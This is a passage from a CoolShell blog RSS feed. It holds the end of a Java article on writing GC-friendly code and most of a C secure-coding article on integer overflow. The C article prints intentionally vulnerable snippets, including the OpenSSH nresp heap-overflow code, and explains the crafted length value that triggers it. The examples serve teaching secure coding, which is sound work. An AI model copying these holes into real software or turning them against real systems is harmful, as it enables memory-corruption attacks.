30px;\"><strong>绝大部分对象的生命周期都非常短暂，存活时间短。</strong></p>\n<p>而这些短命的对象，恰恰是GC算法需要首先关注的。所以在大部分的GC中，YoungGC（也称作MinorGC）占了绝大部分，对于负载不高的应用，可能跑了数个月都不会发生FullGC。</p>\n<p>基于这个前提，在编码过程中，我们应该<strong>尽可能地缩短对象的生命周期</strong>。在过去，分配对象是一个比较重的操作，所以有些程序员会尽可能地减少new对象的次数，尝试减小堆的分配开销，减少内存碎片。</p>\n<p>但是，短命对象的创建在JVM中比我们想象的性能更好，所以，不要吝啬new关键字，大胆地去new吧。</p>\n<p>当然前提是不做无谓的创建，对象创建的速率越高，那么GC也会越快被触发。</p>\n<p>结论：</p>\n<ul>\n<li>分配小对象的开销分享小，不要吝啬去创建。</li>\n<li>GC最喜欢这种小而短命的对象。</li>\n<li>让对象的生命周期尽可能短，例如在方法体内创建，使其能尽快地在YoungGC中被回收，不会晋升(romote)到年老代(Old Generation)。</li>\n</ul>\n<h4>二、对象分配的优化</h4>\n<p>基于大部分对象都是小而短命，并且不存在多线程的数据竞争。这些小对象的分配，会优先在线程私有的<strong> TLAB</strong> 中分配，TLAB中创建的对象，不存在锁甚至是CAS的开销。</p>\n<p>TLAB占用的空间在Eden Generation。</p>\n<p>当对象比较大，TLAB的空间不足以放下，而JVM又认为当前线程占用的TLAB剩余空间还足够时，就会直接在Eden Generation上分配，此时是存在并发竞争的，所以会有CAS的开销，但也还好。</p>\n<p>当对象大到Eden Generation放不下时，JVM只能尝试去Old Generation分配，这种情况需要尽可能避免，因为一旦在Old Generation分配，这个对象就只能被Old Generation的GC或是FullGC回收了。</p>\n<h4>三、不可变对象的好处</h4>\n<p>GC算法在扫描存活对象时通常需要从ROOT节点开始，扫描所有存活对象的引用，构建出对象图。</p>\n<p>不可变对象对GC的优化，主要体现在Old Generation中。</p>\n<p>可以想象一下，如果存在Old Generation的对象引用了Young Generation的对象，那么在每次YoungGC的过程中，就必须考虑到这种情况。</p>\n<p>Hotspot JVM为了提高YoungGC的性能，避免每次YoungGC都扫描Old Generation中的对象引用，采用了 <strong>卡表(Card Table) </strong>的方式。</p>\n<p>简单来说，当Old Generation中的对象发生对Young Generation中的对象产生新的引用关系或释放引用时，都会在卡表中响应的标记上标记为脏(dirty)，而YoungGC时，只需要扫描这些dirty的项就可以了。</p>\n<p>可变对象对其它对象的引用关系可能会频繁变化，并且有可能在运行过程中持有越来越多的引用，特别是容器。这些都会导致对应的卡表项被频繁标记为dirty。</p>\n<p>而不可变对象的引用关系非常稳定，在扫描卡表时就不会扫到它们对应的项了。</p>\n<p>注意，这里的不可变对象，不是指仅仅自身引用不可变的final对象，而是真正的<strong><span style=\"color: #ff0000;\">Immutable Objects</span></strong>。</p>\n<h4>四、引用置为null的传说</h4>\n<p>早期的很多Java资料中都会提到在方法体中将一个变量置为null能够优化GC的性能，类似下面的代码：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">List&lt;String&gt; list = new ArrayList&lt;String&gt;();\n// some code\nlist = null; // help GC\n</pre>\n<p>事实上这种做法对GC的帮助微乎其微，有时候反而会导致代码混乱。</p>\n<p>我记得几年前 @rednaxelafx 在HLL VM小组中详细论述过这个问题，原帖我没找到，结论基本就是：</p>\n<ul>\n<li>在一个非常大的方法体内，对一个较大的对象，将其引用置为null，某种程度上可以帮助GC。</li>\n<li>大部分情况下，这种行为都没有任何好处。</li>\n</ul>\n<p>所以，还是早点放弃这种“优化”方式吧。</p>\n<p>GC比我们想象的更聪明。</p>\n<h4>五、手动档的GC</h4>\n<p>在很多Java资料上都有下面两个奇技淫巧：</p>\n<ul>\n<li>通过<strong>Thread.yield()</strong>让出CPU资源给其它线程。</li>\n<li>通过<strong>System.gc()</strong>触发GC。</li>\n</ul>\n<p>事实上JVM从不保证这两件事，而System.gc()在JVM启动参数中如果允许显式GC，则会<strong>触发FullGC</strong>，对于响应敏感的应用来说，几乎等同于自杀。</p>\n<p>So，让我们牢记两点：</p>\n<ul>\n<li>Never use Thread.yield()。</li>\n<li>Never use System.gc()。除非你真的需要回收Native Memory。</li>\n</ul>\n<p>第二点有个Native Memory的例外，如果你在以下场景：</p>\n<ul>\n<li>使用了NIO或者NIO框架（Mina/Netty）</li>\n<li>使用了DirectByteBuffer分配字节缓冲区</li>\n<li>使用了MappedByteBuffer做内存映射</li>\n</ul>\n<p>由于<strong>Native Memory只能通过FullGC（或是CMS GC）回收</strong>，所以除非你非常清楚这时真的有必要，否则不要轻易调用System.gc()，且行且珍惜。</p>\n<p>另外为了防止某些框架中的System.gc调用（例如NIO框架、Java RMI），建议在启动参数中加上-XX:+DisableExplicitGC来禁用显式GC。</p>\n<p>这个参数有个巨大的坑，如果你禁用了System.gc()，那么上面的3种场景下的内存就无法回收，可能造成OOM，如果你使用了CMS GC，那么可以用这个参数替代：-XX:+ExplicitGCInvokesConcurrent。</p>\n<p>关于System.gc()，可以参考 @bluedavy 的几篇文章：</p>\n<ul>\n<li><a href=\"http://hellojava.info/?p=56\" target=\"_blank\">CMS GC会不会回收Direct ByteBuffer的内存</a></li>\n<li><a href=\"http://hellojava.info/?p=323\" target=\"_blank\">说说在Java启动参数上我犯的错</a></li>\n<li><a href=\"http://hellojava.info/?p=319\" target=\"_blank\">java.lang.OutOfMemoryError:Map failed</a></li>\n</ul>\n<p>&nbsp;</p>\n<h4>六、指定容器初始化大小</h4>\n<p>Java容器的一个特点就是可以动态扩展，所以通常我们都不会去考虑初始大小的设置，不够了反正会自动扩容呗。</p>\n<p>但是扩容不意味着没有代价，甚至是很高的代价。</p>\n<p>例如一些基于数组的数据结构，例如StringBuilder、StringBuffer、ArrayList、HashMap等等，在扩容的时候都需要做ArrayCopy，对于不断增长的结构来说，经过若干次扩容，会存在大量无用的老数组，而回收这些数组的压力，全都会加在GC身上。</p>\n<p>这些容器的构造函数中通常都有一个可以指定大小的参数，如果对于某些大小可以预估的容器，建议加上这个参数。</p>\n<p>可是因为容器的扩容并不是等到容器满了才扩容，而是有一定的比例，例如HashMap的扩容阈值和负载因子(loadFactor)相关。</p>\n<p>Google Guava框架对于容器的初始容量提供了非常便捷的工具方法，例如：</p>\n<p>[code lang=&#8221;java&#8221;]Lists.newArrayListWithCapacity(initialArraySize);</p>\n<p>Lists.newArrayListWithExpectedSize(estimatedSize);</p>\n<p>Sets.newHashSetWithExpectedSize(expectedSize);</p>\n<p>Maps.newHashMapWithExpectedSize(expectedSize);<br />\n[/code]</p>\n<p>这样我们只要传入预估的大小即可，容量的计算就交给Guava来做吧。</p>\n<p><strong>反例</strong>：如果采用默认无参构造函数，创建一个ArrayList，不断增加元素直到OOM，那么在此过程中会导致：</p>\n<ul>\n<li>多次数组扩容，重新分配更大空间的数组</li>\n<li>多次数组拷贝</li>\n<li>内存碎片</li>\n</ul>\n<h4>七、对象池</h4>\n<p>为了减少对象分配开销，提高性能，可能有人会采取对象池的方式来缓存对象集合，作为复用的手段。</p>\n<p>但是对象池中的对象由于在运行期长期存活，大部分会晋升到Old Generation，因此无法通过YoungGC回收。</p>\n<p>并且通常……没有什么效果。</p>\n<p>对于对象本身：</p>\n<ul>\n<li>如果对象很小，那么分配的开销本来就小，对象池只会增加代码复杂度。</li>\n<li>如果对象比较大，那么晋升到Old Generation后，对GC的压力就更大了。</li>\n</ul>\n<p>从线程安全的角度考虑，通常池都是会被并发访问的，那么你就需要处理好同步的问题，这又是一个大坑，并且<strong>同步带来的开销，未必比你重新创建一个对象小</strong>。</p>\n<p>对于对象池，唯一合适的场景就是<strong>当池中的每个对象的创建开销很大</strong>时，缓存复用才有意义，例如每次new都会创建一个连接，或是依赖一次RPC。</p>\n<p>比如说：</p>\n<ul>\n<li>线程池</li>\n<li>数据库连接池</li>\n<li>TCP连接池</li>\n</ul>\n<p>即使你真的需要实现一个对象池，也请使用成熟的开源框架，例如Apache Commons Pool。</p>\n<p>另外，使用JDK的ThreadPoolExecutor作为线程池，不要重复造轮子，除非当你看过AQS的源码后认为你可以写得比Doug Lea更好。</p>\n<h4>八、对象作用域</h4>\n<p>尽可能缩小对象的作用域，即生命周期。</p>\n<ul>\n<li>如果可以在方法内声明的局部变量，就不要声明为实例变量。</li>\n<li>除非你的对象是单例的或不变的，否则尽可能少地声明static变量。</li>\n</ul>\n<h4>九、各类引用</h4>\n<p>java.lang.ref.Reference有几个子类，用于处理和GC相关的引用。JVM的引用类型简单来说有几种：</p>\n<ul>\n<li>Strong Reference，最常见的引用</li>\n<li>Weak Reference，当没有指向它的强引用时会被GC回收</li>\n<li>Soft Reference，只当临近OOM时才会被GC回收</li>\n<li>Phantom Reference，主要用于识别对象被GC的时机，通常用于做一些清理工作</li>\n</ul>\n<p>当你需要实现一个缓存时，可以考虑优先使用WeakHashMap，而不是HashMap，当然，更好的选择是使用框架，例如Guava Cache。</p>\n<p>最后，再次提醒，以上的这些未必可以对代码有多少性能上的提升，但是熟悉这些方法，是为了帮助我们写出更卓越的代码，和GC更好地合作。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"五大基于JVM的脚本语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2631.html\" class=\"wp_rp_title\">五大基于JVM的脚本语言</a></li><li ><a href=\"https://coolshell.cn/articles/1252.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"G1新型垃圾回收器一瞥\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1252.html\" class=\"wp_rp_title\">G1新型垃圾回收器一瞥</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11541.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>46</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C语言的整型溢出问题</title>\n\t\t<link>https://coolshell.cn/articles/11466.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11466.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 21 Apr 2014 00:18:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Overflow]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11466</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>整型溢出有点老生常谈了，bla, bla, bla&#8230; 但似乎没有引起多少人的重视。整型溢出会有可能导致缓冲区溢出，缓冲区溢出会导致各种黑客攻击，比如...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11466.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>整型溢出有点老生常谈了，bla, bla, bla&#8230; 但似乎没有引起多少人的重视。整型溢出会有可能导致缓冲区溢出，缓冲区溢出会导致各种黑客攻击，比如最近OpenSSL的heartbleed事件，就是一个buffer overread的事件。在这里写下这篇文章，希望大家都了解一下整型溢出，编译器的行为，以及如何防范，以写出更安全的代码。</p>\n<h4>什么是整型溢出</h4>\n<p>C语言的整型问题相信大家并不陌生了。对于整型溢出，分为无符号整型溢出和有符号整型溢出。</p>\n<p><strong>对于unsigned整型溢出，C的规范是有定义的</strong>——“溢出后的数会以2^(8*sizeof(type))作模运算”，也就是说，如果一个unsigned char（1字符，8bits）溢出了，会把溢出的值与256求模。例如：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">unsigned char x = 0xff;\nprintf(\"%d\\n\", ++x);</pre>\n<p>上面的代码会输出：0 （因为0xff + 1是256，与2^8求模后就是0）</p>\n<p><strong>对于signed整型的溢出，C的规范定义是“undefined behavior”</strong>，也就是说，编译器爱怎么实现就怎么实现。对于大多数编译器来说，算得啥就是啥。比如：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">signed char x =0x7f; //注：0xff就是-1了，因为最高位是1也就是负数了\nprintf(\"%d\\n\", ++x);</pre>\n<p>上面的代码会输出：-128，因为0x7f + 0x01得到0x80，也就是二进制的1000 0000，符号位为1，负数，后面为全0，就是负的最小数，即-128。</p>\n<p><span id=\"more-11466\"></span></p>\n<p>另外，千万别以为signed整型溢出就是负数，这个是不定的。比如：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">signed char x = 0x7f;\nsigned char y = 0x05;\nsigned char r = x * y;\nprintf(\"%d\\n\", r);</pre>\n<p>上面的代码会输出：123</p>\n<p>相信对于这些大家不会陌生了。</p>\n<h4>整型溢出的危害</h4>\n<p>下面说一下，整型溢出的危害。</p>\n<h5>示例一：整形溢出导致死循环</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\"> ... ...\n... ...\nshort len = 0;\n... ...\nwhile(len&lt; MAX_LEN) {\n    len += readFromInput(fd, buf);\n    buf += len;\n}</pre>\n<p>上面这段代码可能是很多程序员都喜欢写的代码（我在很多代码里看到过多次），其中的MAX_LEN 可能会是个比较大的整型，比如32767，我们知道short是16bits，取值范围是-32768 到 32767 之间。但是，上面的while循环代码有可能会造成整型溢出，而len又是个有符号的整型，所以可能会成负数，导致不断地死循环。</p>\n<h5>示例二：整形转型时的溢出</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int copy_something(char *buf, int len)\n{\n    #define MAX_LEN 256\n    char mybuf[MAX_LEN];\n     ... ...\n     ... ...\n\n     if(len &gt; MAX_LEN){ // &lt;---- [1]\n         return -1;\n     }\n\n     return memcpy(mybuf, buf, len);\n}</pre>\n<p>上面这个例子中，还是[1]处的if语句，看上去没有会问题，但是len是个signed int，而memcpy则需一个size_t的len，也就是一个unsigned 类型。于是，len会被提升为unsigned，此时，如果我们给len传一个负数，会通过了if的检查，但在memcpy里会被提升为一个正数，于是我们的mybuf就是overflow了。这个会导致mybuf缓冲区后面的数据被重写。</p>\n<h5>示例三：分配内存</h5>\n<p>关于整数溢出导致堆溢出的很典型的例子是，OpenSSH Challenge-Response SKEY/BSD_AUTH 远程缓冲区溢出漏洞。下面这段有问题的代码摘自OpenSSH的代码中的auth2-chall.c中的input_userauth_info_response() 函数:</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">nresp = packet_get_int();\nif (nresp &gt; 0) {\n    response = xmalloc(nresp*sizeof(char*));\n    for (i = 0; i &lt; nresp; i++)\n        response[i] = packet_get_string(NULL);\n}</pre>\n<p>上面这个代码中，nresp是size_t类型（size_t一般就是unsigned int/long int），这个示例是一个解数据包的示例，一般来说，数据包中都会有一个len，然后后面是data。如果我们精心准备一个len，比如：1073741825（在32位系统上，指针占4个字节，unsigned int的最大值是0xffffffff，我们只要提供0xffffffff/4 的值——0x40000000，这里我们设置了0x4000000 + 1）， nresp就会读到这个值，然后nresp<em>sizeof(char</em>)就成了 1073741825 * 4，于是溢出，结果成为了 0x100000004，然后求模，得到4。于是，malloc(4)，于是后面的for循环1073741825 次，就可以干环事了（经过0x40000001的循环,用户的数据早已覆盖了xmalloc原先分配的4字节的空间以及后面的数据，包括程序代码，函数指针，于是就可以改写程序逻辑。关于更多的东西，你可以看一下这篇文章《<a href=\"http://engj.org/index.php/ej/article/view/112/167\" target=\"_blank\" rel=\"noopener noreferrer\">Survey of Protections from Buffer-Overflow Attacks</a>》）。</p>\n<h5>示例四：缓冲区溢出导致安全问题</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int func(char *buf1, unsigned int len1,\n         char *buf2, unsigned int len2 )\n{\n   char mybuf[256]; \n\n   if((len1 + len2) &gt; 256){    //&lt;--- [1]\n       return -1;\n   } \n\n   memcpy(mybuf, buf1, len1);\n   memcpy(mybuf + len1, buf2, len2); \n\n   do_some_stuff(mybuf); \n\n   return 0;\n}</pre>\n<p>上面这个例子本来是想把buf1和buf2的内容copy到mybuf里，其中怕len1 + len2超过256 还做了判断，但是，如果len1+len2溢出了，根据unsigned的特性，其会与2^32求模，所以，基本上来说，上面代码中的[1]处有可能为假的。（注：通常来说，在这种情况下，如果你开启-O代码优化选项，那个if语句块就全部被和谐掉了——被编译器给删除了）比如，你可以测试一下 len1=0x104， len2 = 0xfffffffc 的情况。</p>\n<h5>示例五：size_t 的溢出</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">for (int i= strlen(s)-1;  i&gt;=0; i--)  { ... }</pre>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">for (int i=v.size()-1; i&gt;=0; i--)  { ... }</pre>\n<p>上面这两个示例是我们经常用的从尾部遍历一个数组的for循环。第一个是字符串，第二个是C++中的vector容器。strlen()和vector::size()返回的都是 size_t，size_t在32位系统下就是一个unsigned int。你想想，如果strlen(s)和v.size() 都是0呢？这个循环会成为个什么情况？于是strlen(s) &#8211; 1 和 v.size() &#8211; 1 都不会成为 -1，而是成为了 (unsigned int)(-1)，一个正的最大数。导致你的程序越界访问。</p>\n<p>这样的例子有很多很多，这些整型溢出的问题如果在关键的地方，尤其是在搭配有用户输入的地方，如果被黑客利用了，就会导致很严重的安全问题。</p>\n<h4>关于编译器的行为</h4>\n<p>在谈一下如何正确的检查整型溢出之前，我们还要来学习一下编译器的一些东西。请别怪我罗嗦。</p>\n<h5>编译器优化</h5>\n<p>如何检查整型溢出或是整型变量是否合法有时候是一件很麻烦的事情，就像上面的第四个例子一样，编译的优化参数-O/-O2/-O3基本上会假设你的程序不会有整形溢出。会把你的代码中检查溢出的代码给优化掉。</p>\n<p>关于编译器的优化，在这里再举个例子，假设我们有下面的代码（又是一个相当相当常见的代码）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int len;\nchar* data;\n\nif (data + len &lt; data){\n    printf(\"invalid len\\n\");\n    exit(-1);\n}\n</pre>\n<p>上面这段代码中，len 和 data 配套使用，我们害怕len的值是非法的，或是len溢出了，于是我们写下了if语句来检查。这段代码在-O的参数下正常。但是在-O2的编译选项下，整个if语句块被优化掉了。</p>\n<p>你可以写个小程序，在gcc下编译（我的版本是4.4.7，记得加上-O2和-g参数），然后用gdb调试时，用disass /m命信输出汇编，你会看到下面的结果（你可以看到整个if语句块没有任何的汇编代码——直接被编译器和谐掉了）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">7 int len = 10;\n8 char* data = (char *)malloc(len);\n0x00000000004004d4 &lt;+4&gt;: mov $0xa,%edi\n0x00000000004004d9 &lt;+9&gt;: callq 0x4003b8 &lt;malloc@plt&gt;\n\n9\n10 if (data + len &lt; data){\n11 printf(&quot;invalid len\\n&quot;);\n12 exit(-1);\n13 }\n14\n15 }\n0x00000000004004de &lt;+14&gt;: add $0x8,%rsp\n0x00000000004004e2 &lt;+18&gt;: retq\n</pre>\n<p>对此，你需要把上面 char* 转型成 uintptr_t 或是 size_t，说白了也就是把char*转成unsigned的数据结构，if语句块就无法被优化了。如下所示：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">if ((uintptr_t)data + len &lt; (uintptr_t)data){\n    ... ...\n}</pre>\n<p>关于这个事，你可以看一下C99的规范说明《 <a href=\"http://www.open-std.org/JTC1/SC22/WG14/www/docs/n1124.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">ISO/IEC 9899:1999 C specification</a> 》第 §6.5.6 页，第8点，我截个图如下：（这段话的意思是定义了指针+/-一个整型的行为，如果越界了，则行为是undefined）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11469\" src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99.jpg\" alt=\"\" width=\"647\" height=\"310\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/04/c99.jpg 647w, https://coolshell.cn/wp-content/uploads/2014/04/c99-300x144.jpg 300w, https://coolshell.cn/wp-content/uploads/2014/04/c99-564x270.jpg 564w\" sizes=\"(max-width: 647px) 100vw, 647px\" /></p>\n<p>注意上面标红线的地方，说如果指针指在数组范围内没事，如果越界了就是undefined，也就是说这事交给编译器实现了，编译器想咋干咋干，那怕你想把其优化掉也可以。在这里要重点说一下，<strong>C语言中的一个大恶魔—— Undefined! 这里都是“野兽出没”的地方，你一定要小心小心再小心</strong>。</p>\n<h5>花絮：编译器的彩蛋</h5>\n<p>上面说了所谓的undefined行为就全权交给编译器实现，gcc在1.17版本下对于undefined的行为还玩了个彩蛋（<a href=\"http://en.wikipedia.org/wiki/Undefined_behavior#Compiler_easter_eggs\" target=\"_blank\" rel=\"noopener noreferrer\">参看Wikipedia</a>）。</p>\n<p>下面gcc 1.17版本下的遭遇undefined行为时，gcc在unix发行版下玩的彩蛋的源代码。我们可以看到，它会去尝试去执行一些游戏<a href=\"http://en.wikipedia.org/wiki/NetHack\">NetHack</a>， <a href=\"http://en.wikipedia.org/wiki/Rogue_%28computer_game%29\">Rogue</a> 或是Emacs的 <a href=\"http://en.wikipedia.org/wiki/Tower_of_Hanoi#Applications\">Towers of Hanoi</a>，如果找不到，就输出一条NB的报错。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">execl(\"/usr/games/hack\", \"#pragma\", 0); // try to run the game NetHack\nexecl(\"/usr/games/rogue\", \"#pragma\", 0); // try to run the game Rogue\n// try to run the Tower's of Hanoi simulation in Emacs.\nexecl(\"/usr/new/emacs\", \"-f\",\"hanoi\",\"9\",\"-kill\",0);\nexecl(\"/usr/local/emacs\",\"-f\",\"hanoi\",\"9\",\"-kill\",0); // same as above\nfatal(\"You are in a maze of twisty compiler features, all different\");</pre>\n<h4>正确检测整型溢出</h4>\n<p>在看过编译器的这些行为后，你应该会明白——“<strong>在整型溢出之前，一定要做检查，不然，就太晚了</strong>”。</p>\n<p>我们来看一段代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\"> void foo(int m, int n)\n{\n    size_t s = m + n;\n    .......\n}</pre>\n<p>上面这段代码有两个风险：<strong>1）有符号转无符号</strong>，<strong>2）整型溢出</strong>。这两个情况在前面的那些示例中你都应该看到了。<strong>所以，你千万不要把任何检查的代码写在 s = m + n 这条语名后面，不然就太晚了</strong>。undefined行为就会出现了——用句纯正的英文表达就是——“Dragon is here”——你什么也控制不住了。（注意：有些初学者也许会以为size_t是无符号的，而根据优先级 m 和 n 会被提升到unsigned int。其实不是这样的，m 和 n 还是signed int，m + n 的结果也是signed int，然后再把这个结果转成unsigned int 赋值给s）</p>\n<p>比如，下面的代码是错的：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\"> void foo(int m, int n)\n{\n    size_t s = m + n;\n    if ( m&gt;0 &amp;&amp; n&gt;0 &amp;&amp; (SIZE_MAX - m &lt; n) ){\n        //error handling...\n    }\n}</pre>\n<p>上面的代码中，大家要注意 <strong>(SIZE_MAX &#8211; m &lt; n)</strong> 这个判断，为什么不用m + n &gt; SIZE_MAX呢？因为，如果 m + n 溢出后，就被截断了，所以表达式恒真，也就检测不出来了。另外，这个表达式中，m和n分别会被提升为unsigned。</p>\n<p>但是上面的代码是错的，因为：</p>\n<p style=\"padding-left: 30px;\">1）检查的太晚了，if之前编译器的undefined行为就已经出来了（你不知道什么会发生）。</p>\n<p style=\"padding-left: 30px;\">2）就像前面说的一样，(SIZE_MAX &#8211; m &lt; n) 可能会被编译器优化掉。</p>\n<p style=\"padding-left: 30px;\">3）另外，SIZE_MAX是size_t的最大值，size_t在64位系统下是64位的，严谨点应该用INT_MAX或是UINT_MAX</p>\n<p> 所以，正确的代码应该是下面这样：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\"> void foo(int m, int n)\n{\n    size_t s = 0;\n    if ( m&gt;0 &amp;&amp; n&gt;0 &amp;&amp; ( UINT_MAX - m &lt; n ) ){\n        //error handling...\n        return;\n    }\n    s = (size_t)m + (size_t)n;\n}</pre>\n<p>在《<a href=\"https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">苹果安全编码规范</a>》（PDF）中，第28页的代码中：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-11472\" src=\"https://coolshell.cn/wp-content/uploads/2014/04/apple_security_code.jpg\" alt=\"\" width=\"300\" height=\"94\" /></p>\n<p>如果n和m都是signed int，那么这段代码是错的。正确的应该像上面的那个例子一样，至少要在n<em>m时要把 n 和 m 给 cast 成 size_t。因为，n</em>m可能已经溢出了，已经undefined了，undefined的代码转成size_t已经没什么意义了。（如果m和n是unsigned int，也会溢出），上面的代码仅在m和n是size_t的时候才有效。</p>\n<p>不管怎么说，《<a href=\"https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">苹果安全编码规范</a>》绝对值得你去读一读。</p>\n<h5>二分取中搜索算法中的溢出</h5>\n<p>我们再来看一个二分取中搜索算法（binary search），大多数人都会写成下面这个样子：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int binary_search(int a[], int len, int key)\n{\n    int low = 0; \n    int high = len - 1; \n\n    while ( low&lt;=high ) {\n        int mid = (low + high)/2;\n        if (a[mid] == key) {\n            return mid;\n        }\n        if (key &lt; a[mid]) {\n            high = mid - 1;\n        }else{\n            low = mid + 1;\n        }\n    }\n    return -1;\n}</pre>\n<p>上面这个代码中，你可能会有这样的想法：</p>\n<p>1） 我们应该用size_t来做len, low, high, mid这些变量的类型。没错，应该是这样的。但是如果这样，你要小心第四行 int high = len -1; 如果len为0，那么就“high大发了”。</p>\n<p>2） 无论你用不用size_t。我们在计算mid = (low+high)/2; 的时候，(low + high) 都可以溢出。正确的写法应该是：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int mid = low + (high - low)/2;</pre>\n<h5>上溢出和下溢出的检查</h5>\n<p>前面的代码只判断了正数的上溢出overflow，没有判断负数的下溢出underflow。让们来看看怎么判断：</p>\n<p>对于加法，还好。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">#include &lt;limits.h&gt;\n\nvoid f(signed int si_a, signed int si_b) {\n    signed int sum;\n    if (((si_b &gt; 0) &amp;&amp; (si_a &gt; (INT_MAX - si_b))) ||\n        ((si_b &lt; 0) &amp;&amp; (si_a &lt; (INT_MIN - 